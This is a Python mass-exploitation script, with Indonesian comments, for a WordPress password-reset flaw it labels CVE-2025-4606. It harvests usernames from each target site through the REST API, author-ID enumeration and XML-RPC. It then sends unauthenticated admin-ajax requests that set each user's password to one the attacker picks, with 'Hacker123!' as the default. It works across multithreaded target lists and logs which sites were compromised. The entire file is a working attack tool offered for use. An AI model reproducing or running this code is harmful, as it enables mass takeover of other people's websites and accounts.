import requests
import re
import threading
import os
import time
from queue import Queue
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
import json
requests.packages.urllib3.disable_warnings()
# =================== CONFIG =====================
THREADS = 20 # Jumlah thread per target
MAX_TARGETS = 50 # Maksimal target dalam 1 sesi
TIMEOUT = 15
# ================================================
lock = threading.Lock()
found_users = set()
successful_targets = []
failed_targets = []
total_success = 0
total_failed = 0
def header():
os.system("cls" if os.name == "nt" else "clear")
print("="*70)
print(" ______ _ _ ______ _ _ _ ")
print(" | ____| (_) | | | ____| | | (_) | ")
print(" | |__ _ __ _ ___ _ __ __| |___| |__ __ ___ __ | | ___ _| |_ ")
print(" | __| '__| |/ _ \\ '_ \\ / _` / __| __| \\ \\/ / '_ \\| |/ _ \\| | __| ")
print(" | | | | | | __/ | | | (_| \\__ \\ |____ > <| |_) | | (_) | | |_ ")
print(" |_| |_| |_|\\___|_| |_|\\__,_|___/______/_/\\_\\ .__/|_|\\___/|_|\\__| ")
print(" | | ")
print(" |_| ")
print(" 📡 MASS EXPLOIT - CVE-2025-4606")
print("="*70)
print()
def enumerate_users(target, headers):
"""Ambil username dari WP REST API dan /author/ enumeration"""
users = set()
try:
api_url = urljoin(target, "/wp-json/wp/v2/users")
r = requests.get(api_url, headers=headers, timeout=TIMEOUT, verify=False)
if r.status_code == 200 and r.text.strip().startswith("["):
for match in re.finditer(r'"slug":"(.*?)"', r.text):
users.add(match.group(1))
except requests.RequestException:
pass
# Coba /author/ enumeration (0-30)
for i in range(0, 31):
try:
author_url = urljoin(target, f"/?author={i}")
r = requests.get(author_url, headers=headers, timeout=TIMEOUT, verify=False, allow_redirects=True)
match = re.search(r"/author/([^/]+)/", r.url)
if match:
users.add(match.group(1))
except requests.RequestException:
continue
# Tambahan: coba XML-RPC
try:
xml_data = 'wp.getUsers'
r = requests.post(urljoin(target, "/xmlrpc.php"), data=xml_data, headers=headers, timeout=TIMEOUT, verify=False)
if r.status_code == 200:
# Parse XML response jika ada
pass
except:
pass
return users
def reset_password(target, username, new_password, headers):
"""Reset password untuk satu user"""
ajax_url = f"{target.rstrip('/')}/wp-admin/admin-ajax.php"
data = {
'action': 'change_password_ajax',
'login': username,
'new_password': new_password
}
try:
resp = requests.post(ajax_url, data=data, headers=headers, timeout=TIMEOUT, verify=False)
with lock:
if resp.status_code == 200 and 'success' in resp.text.lower():
print(f"[✓] {target} - SUCCESS: {username} -> {new_password}")
return True
else:
print(f"[x] {target} - FAIL: {username} (Status {resp.status_code})")
return False
except requests.RequestException as e:
with lock:
print(f"[!] {target} - ERROR: {username} ({str(e)[:50]})")
return False
def exploit_target(target, new_password, headers):
"""Exploit satu target"""
global total_success, total_failed
print(f"\n[+] Processing: {target}")
# Enumerate users
users = enumerate_users(target, headers)
if not users:
with lock:
print(f"[x] {target} - No usernames found!")
failed_targets.append(target)
total_failed += 1
return
with lock:
print(f"[+] {target} - Found {len(users)} usernames: {', '.join(list(users)[:5])}{'...' if len(users) > 5 else ''}")
# Exploit each user
success_count = 0
for user in users:
if reset_password(target, user, new_password, headers):
success_count += 1
with lock:
if success_count > 0:
print(f"[✓] {target} - Successfully changed {success_count}/{len(users)} passwords")
successful_targets.append(target)
total_success += 1
else:
print(f"[x] {target} - Failed to change any passwords")
failed_targets.append(target)
total_failed += 1
def load_targets_from_file(filename):
"""Load targets dari file"""
try:
with open(filename, 'r') as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
return targets
except FileNotFoundError:
print(f"[!] File {filename} not found!")
return []
def save_results():
"""Simpan hasil exploit ke file"""
timestamp = time.strftime("%Y%m%d_%H%M%S")
# Save successful targets
with open(f"success_{timestamp}.txt", "w") as f:
for target in successful_targets:
f.write(f"{target}\n")
# Save failed targets
with open(f"failed_{timestamp}.txt", "w") as f:
for target in failed_targets:
f.write(f"{target}\n")
# Save summary
with open(f"summary_{timestamp}.txt", "w") as f:
f.write(f"Exploit Summary - {time.ctime()}\n")
f.write("="*50 + "\n")
f.write(f"Total targets processed: {len(successful_targets) + len(failed_targets)}\n")
f.write(f"Successful: {len(successful_targets)}\n")
f.write(f"Failed: {len(failed_targets)}\n")
f.write("\nSuccessful targets:\n")
for target in successful_targets:
f.write(f" - {target}\n")
def main():
header()
print("Mode Mass Exploit - CVE-2025-4606")
print("="*50)
print("1. Input targets manually")
print("2. Load from file (targets.txt)")
print("3. Single target mode")
print("="*50)
choice = input("Pilih mode [1-3]: ").strip()
targets = []
if choice == "2":
filename = input("Nama file targets (default: targets.txt): ").strip() or "targets.txt"
targets = load_targets_from_file(filename)
if not targets:
print("[!] No targets found in file!")
return
elif choice == "3":
target = input("Masukkan URL target: ").strip()
targets = [target]
else:
print("Masukkan targets (pisahkan dengan koma atau enter untuk selesai):")
while len(targets) < MAX_TARGETS:
line = input().strip()
if not line:
break
if ',' in line:
targets.extend([t.strip() for t in line.split(',') if t.strip()])
else:
targets.append(line)
NEW_PASSWORD = input("Masukkan password baru yang akan dipakai: ").strip()
if not NEW_PASSWORD:
NEW_PASSWORD = "Hacker123!"
print(f"[!] Using default password: {NEW_PASSWORD}")
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/138.0.0.0 Safari/537.36'
}
print(f"\n[+] Total targets: {len(targets)}")
print(f"[+] Threads: {THREADS}")
print(f"[+] Password: {NEW_PASSWORD}")
print(f"[+] Starting exploit...\n")
print("-"*70)
start_time = time.time()
# Gunakan ThreadPoolExecutor untuk multi-target
with ThreadPoolExecutor(max_workers=min(THREADS, len(targets))) as executor:
futures = []
for target in targets:
future = executor.submit(exploit_target, target, NEW_PASSWORD, HEADERS)
futures.append(future)
# Tunggu semua selesai
for future in futures:
future.result()
elapsed_time = time.time() - start_time
# Summary
print("\n" + "="*70)
print("EXPLOIT COMPLETED!")
print("="*70)
print(f"Time elapsed: {elapsed_time:.2f} seconds")
print(f"Total targets: {len(targets)}")
print(f"✓ Successful: {len(successful_targets)}")
print(f"✗ Failed: {len(failed_targets)}")
print(f"Total password changes: {total_success}")
# Save results
save_results()
print(f"\n[+] Results saved to: success_*.txt, failed_*.txt, summary_*.txt")
print("[+] Done.")
if __name__ == "__main__":
main()
Santiago404 Shell